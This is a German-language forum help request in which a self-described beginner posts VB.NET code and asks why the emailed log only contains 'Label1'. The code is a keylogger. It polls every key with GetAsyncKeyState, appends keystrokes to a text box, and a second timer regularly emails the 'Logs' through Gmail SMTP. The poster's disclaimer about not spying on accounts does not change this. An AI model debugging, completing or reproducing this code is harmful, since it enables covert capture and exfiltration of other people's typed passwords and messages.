VisualBasic Help!
danach schickt es mir eine mail, aber in der mail steht immer Label1??
Code in VisualBasic
(5x A, bedeutet nicht benutzt)
Code:
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
Dim Typein As String
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For Logger = 1 To 255
Typein = GetAsyncKeyState(Logger)
If Typein = -32767 Then
Select Case Logger
Case 1
rtb1.Text += "[LinksKlick]"
Case 2
rtb1.Text += "[RechtsKlick]"
Case 3
rtb1.Text += "[ACHTUNG!!!]"
Case 4
rtb1.Text += "[ACHTUNG!!!4]"
Case 5
rtb1.Text += "[ACHTUNG!!!5]"
Case 6
rtb1.Text += "[ACHTUNG!!6!]"
Case 7
rtb1.Text += "[ACHTUNG!!!7]"
Case 8
rtb1.Text += "[Backspace]"
Case 9
rtb1.Text += "[Tab]"
Case 10
rtb1.Text += "[ACHTUNG!!!10]"
Case 11
rtb1.Text += "[ACHTUNG!!!11]"
Case 12
rtb1.Text += "[ACHTUNG!!!12]"
Case 13
rtb1.Text += "[Enter]"
Case 112
rtb1.Text += "[F1]"
Case 113
rtb1.Text += "[F2]"
Case 114
rtb1.Text += "[F3]"
Case 115
rtb1.Text += "[F4]"
Case 116
rtb1.Text += "[F5]"
Case 117
rtb1.Text += "[F6]"
Case 118
rtb1.Text += "[F7]"
Case 119
rtb1.Text += "[F8]"
Case 120
rtb1.Text += "[F9]"
Case 121
rtb1.Text += "[F10]"
Case 122
rtb1.Text += "[F11]"
Case 123
rtb1.Text += "[F12]"
Case 160
rtb1.Text += ""
Case 161
rtb1.Text += ""
Case 164
rtb1.Text += "[Alt]"
Case 165
rtb1.Text += "[Alt]"
Case 189
rtb1.Text += "-"
Case 187
rtb1.Text += "+"
Case 46
rtb1.Text += "."
Case 14
rtb1.Text += "[ACHTUNG 14]"
Case 15
rtb1.Text += "[ACHTUNG 15]"
Case 16
rtb1.Text += "[Shift]"
Case 17
rtb1.Text += "[Strg]"
Case 18
rtb1.Text += "[Alt]"
Case 19
rtb1.Text += "[ACHTUNG 19]"
Case 20
rtb1.Text += "[Umstell.]"
Case 21
rtb1.Text += "[ACHTUNG 21]"
Case 22
rtb1.Text += "[ACHTUNG 22]"
Case 23
rtb1.Text += "[ACHTUNG 23]"
Case 24
rtb1.Text += "[ACHTUNG 24]"
Case 25
rtb1.Text += "[ACHTUNG 25]"
Case 26
rtb1.Text += "[ACHTUNG 26]"
Case 27
rtb1.Text += "[ACHTUNG 27]"
Case 28
rtb1.Text += "[ACHTUNG 28]"
Case 29
rtb1.Text += "[ACHTUNG 29]"
Case 30
rtb1.Text += "[ACHTUNG 30]"
Case 31
rtb1.Text += "[ACHTUNG 31]"
Case 32
rtb1.Text += " "
Case 33
rtb1.Text += "!"
Case 34
rtb1.Text = rtb1.Text + "´´"
Case 35
rtb1.Text += "#"
Case 36
rtb1.Text += "$"
Case 37
rtb1.Text += "%"
Case 38
rtb1.Text += "&"
Case 39
rtb1.Text += "'"
Case 40
rtb1.Text += "("
Case 41
rtb1.Text += ")"
Case 42
rtb1.Text += "*"
Case 43
rtb1.Text += "+"
Case 44
rtb1.Text += ","
Case 45
rtb1.Text += "-"
Case 46
rtb1.Text += "."
Case 47
rtb1.Text += "/"
Case 48
rtb1.Text += "0"
Case 49
rtb1.Text += "1"
Case 50
rtb1.Text += "2"
Case 51
rtb1.Text += "3"
Case 52
rtb1.Text += "4"
Case 53
rtb1.Text += "5"
Case 54
rtb1.Text += "6"
Case 55
rtb1.Text += "7"
Case 56
rtb1.Text += "8"
Case 57
rtb1.Text += "9"
Case 58
rtb1.Text += ":"
Case 59
rtb1.Text += ";"
Case 60
rtb1.Text += "<"
Case 61
rtb1.Text += "="
Case 62
rtb1.Text += ">"
Case 63
rtb1.Text += "?"
Case 64
rtb1.Text += "@"
Case 65
rtb1.Text += "a"
Case 66
rtb1.Text += "b"
Case 67
rtb1.Text += "c"
Case 68
rtb1.Text += "d"
Case 69
rtb1.Text += "e"
Case 70
rtb1.Text += "f"
Case 71
rtb1.Text += "g"
Case 72
rtb1.Text += "h"
Case 73
rtb1.Text += "i"
Case 74
rtb1.Text += "j"
Case 75
rtb1.Text += "k"
Case 76
rtb1.Text += "l"
Case 77
rtb1.Text += "m"
Case 78
rtb1.Text += "n"
Case 79
rtb1.Text += "o"
Case 80
rtb1.Text += "p"
Case 81
rtb1.Text += "q"
Case 82
rtb1.Text += "r"
Case 83
rtb1.Text += "s"
Case 84
rtb1.Text += "t"
Case 85
rtb1.Text += "u"
Case 86
rtb1.Text += "v"
Case 87
rtb1.Text += "w"
Case 88
rtb1.Text += "x"
Case 89
rtb1.Text += "y"
Case 90
rtb1.Text += "z"
Case 91
rtb1.Text += "[Win]"
Case 92
rtb1.Text += "[Win]"
Case 93
rtb1.Text += "]"
Case 94
rtb1.Text += "^"
Case 95
rtb1.Text += "_"
Case 96
rtb1.Text += "`"
Case 97
rtb1.Text += "a"
Case 98
rtb1.Text += "b"
Case 99
rtb1.Text += "c"
Case 100
rtb1.Text += "d"
Case 101
rtb1.Text += "e"
Case 102
rtb1.Text += "f"
Case 103
rtb1.Text += "g"
Case 104
rtb1.Text += "h"
Case 105
rtb1.Text += "i"
Case 106
rtb1.Text += "j"
Case 107
rtb1.Text += "k"
Case 108
rtb1.Text += "l"
Case 109
rtb1.Text += "m"
Case 110
rtb1.Text += "n"
Case 111
rtb1.Text += "o"
Case 112
rtb1.Text += "p"
Case 113
rtb1.Text += "q"
Case 114
rtb1.Text += "r"
Case 115
rtb1.Text += "s"
Case 116
rtb1.Text += "t"
Case 117
rtb1.Text += "u"
Case 118
rtb1.Text += "v"
Case 119
rtb1.Text += "w"
Case 120
rtb1.Text += "x"
Case 121
rtb1.Text += "y"
Case 122
rtb1.Text += "z"
Case 123
rtb1.Text += "{"
Case 124
rtb1.Text += "|"
Case 125
rtb1.Text += "}"
Case 126
rtb1.Text += "~"
Case 127
rtb1.Text += "[ACHTUNG 127]"
Case 128
rtb1.Text += "€"
Case 129
rtb1.Text += "[ACHTUNG 129]"
Case 130
rtb1.Text += "‚"
Case 131
rtb1.Text += "ƒ"
Case 132
rtb1.Text += "„"
Case 133
rtb1.Text += "…"
Case 134
rtb1.Text += "†"
Case 135
rtb1.Text += "‡"
Case 136
rtb1.Text += "ˆ"
Case 137
rtb1.Text += "[ACHTUNG 137]"
Case 138
rtb1.Text += "Š"
Case 139
rtb1.Text += "‹"
Case 140
rtb1.Text += "[ACHTUNG 140]"
Case 141
rtb1.Text += "[ACHTUNG 141]"
Case 142
rtb1.Text += "Ž"
Case 143
rtb1.Text += "[ACHTUNG 143]"
Case 144
rtb1.Text += "[ACHTUNG 144]"
Case 145
rtb1.Text += "‘"
Case 146
rtb1.Text += "’"
Case 147
rtb1.Text += """"
Case 148
rtb1.Text += """"
Case 149
rtb1.Text += "•"
Case 150
rtb1.Text += "–"
Case 151
rtb1.Text += "—"
Case 152
rtb1.Text += "˜"
Case 153
rtb1.Text += "™"
Case 154
rtb1.Text += "š"
Case 155
rtb1.Text += "›"
Case 156
rtb1.Text += "[ACHTUNG 155]"
Case 157
rtb1.Text += "[ACHTUNG 157]"
Case 158
rtb1.Text += "ž"
Case 159
rtb1.Text += "Ÿ"
Case 160
rtb1.Text += "[ACHTUNG 160]"
Case 161
rtb1.Text += "¡"
Case 162
rtb1.Text += ""
Case 163
rtb1.Text += ""
Case 164
rtb1.Text += "¤"
Case 165
rtb1.Text += "¥"
Case 166
rtb1.Text += "¦"
Case 167
rtb1.Text += "§"
Case 168
rtb1.Text += "¨"
Case 169
rtb1.Text += "©"
Case 170
rtb1.Text += "ª"
Case 171
rtb1.Text += "«"
Case 172
rtb1.Text += "¬"
Case 173
rtb1.Text += "[ACHTUNG 173]"
Case 174
rtb1.Text += "®"
Case 175
rtb1.Text += "¯"
Case 176
rtb1.Text += "°"
Case 177
rtb1.Text += "±"
Case 178
rtb1.Text += "²"
Case 179
rtb1.Text += "³"
Case 180
rtb1.Text += "´"
Case 181
rtb1.Text += "µ"
Case 182
rtb1.Text += "[ACHTUNG 182]"
Case 183
rtb1.Text += "."
Case 184
rtb1.Text += "¸"
Case 185
rtb1.Text += "¹"
Case 186
rtb1.Text += "ü"
Case 187
rtb1.Text += "»"
Case 188
rtb1.Text += ","
Case 189
rtb1.Text += ":"
Case 190
rtb1.Text += "."
Case 191
rtb1.Text += "¿"
Case 192
rtb1.Text += "ö"
Case 193
rtb1.Text += "Á"
Case 194
rtb1.Text += "Â"
Case 195
rtb1.Text += "Ã"
Case 196
rtb1.Text += "Ä"
Case 197
rtb1.Text += "Æ"
Case 198
rtb1.Text += "Ç"
Case 199
rtb1.Text += "È"
Case 200
rtb1.Text += "É"
Case 201
rtb1.Text += "Ê"
Case 202
rtb1.Text += "Ë"
Case 203
rtb1.Text += "Ì"
Case 204
rtb1.Text += "Í"
Case 205
rtb1.Text += "Í"
Case 206
rtb1.Text += "Î"
Case 207
rtb1.Text += "Ï"
Case 208
rtb1.Text += "Ð"
Case 209
rtb1.Text += "Ñ"
Case 210
rtb1.Text += "Ò"
Case 211
rtb1.Text += "Ó"
Case 212
rtb1.Text += "Ô"
Case 213
rtb1.Text += "Õ"
Case 214
rtb1.Text += "Ö"
Case 215
rtb1.Text += "×"
Case 216
rtb1.Text += "Ø"
Case 217
rtb1.Text += "Ù"
Case 218
rtb1.Text += "Ú"
Case 219
rtb1.Text += "Û"
Case 220
rtb1.Text += "Ü"
Case 221
rtb1.Text += "Ý"
Case 222
rtb1.Text += "ä"
Case 223
rtb1.Text += "ß"
Case 224
rtb1.Text += "à"
Case 225
rtb1.Text += "á"
Case 226
rtb1.Text += "â"
Case 227
rtb1.Text += "<"
Case 228
rtb1.Text += "ä"
Case 229
rtb1.Text += "æ"
Case 230
rtb1.Text += "ç"
Case 231
rtb1.Text += "è"
Case 232
rtb1.Text += "é"
Case 233
rtb1.Text += "ê"
Case 234
rtb1.Text += "ë"
Case 235
rtb1.Text += "ì"
Case 236
rtb1.Text += "í"
Case 237
rtb1.Text += "í"
Case 238
rtb1.Text += "î"
Case 239
rtb1.Text += "ï"
Case 240
rtb1.Text += "ð"
Case 241
rtb1.Text += "ñ"
Case 242
rtb1.Text += "ò"
Case 243
rtb1.Text += "ó"
Case 244
rtb1.Text += "ô"
Case 245
rtb1.Text += "õ"
Case 246
rtb1.Text += "ö"
Case 247
rtb1.Text += "÷"
Case 248
rtb1.Text += "ø"
Case 249
rtb1.Text += "ù"
Case 250
rtb1.Text += "ú"
Case 251
rtb1.Text += "û"
Case 252
rtb1.Text += "ü"
Case 253
rtb1.Text += "ý"
Case 254
rtb1.Text += "þ"
Case 255
rtb1.Text += "ÿ"
End Select
End If
Next
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim WC As New System.Net.WebClient
Dim MyMailMessage As New MailMessage
MyMailMessage.From = New MailAddress("*******@gmail.com")
MyMailMessage.To.Add("********@gmail.com")
MyMailMessage.Subject = ("LogsAAAAA")
WC.Dispose()
MyMailMessage.Body = (Label1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.comAAAAA")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("*******@gmail.com", "Password")
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessageAAAAA)
Catch ex As SmtpException
End Try
End Sub
End Class
Habe 2 Timer, Beide auf Enabled: True, und GenerateMem....: True
1 Timer auf Interval: 1, 2 tImer auf Interval: 6000
Beide Modifers: Private
ICH MÖCHTE DAMIT KEINE ACCOUNTS AUS SPÄHEN, ES IST GEDACHT UM EINE ARBEIT ZU MACHEN DIE ICH AUCH MAL SCHAFFE IN VISUAL BASIC (Bin neu anfänger
)Sry für mein Deutsch ^^
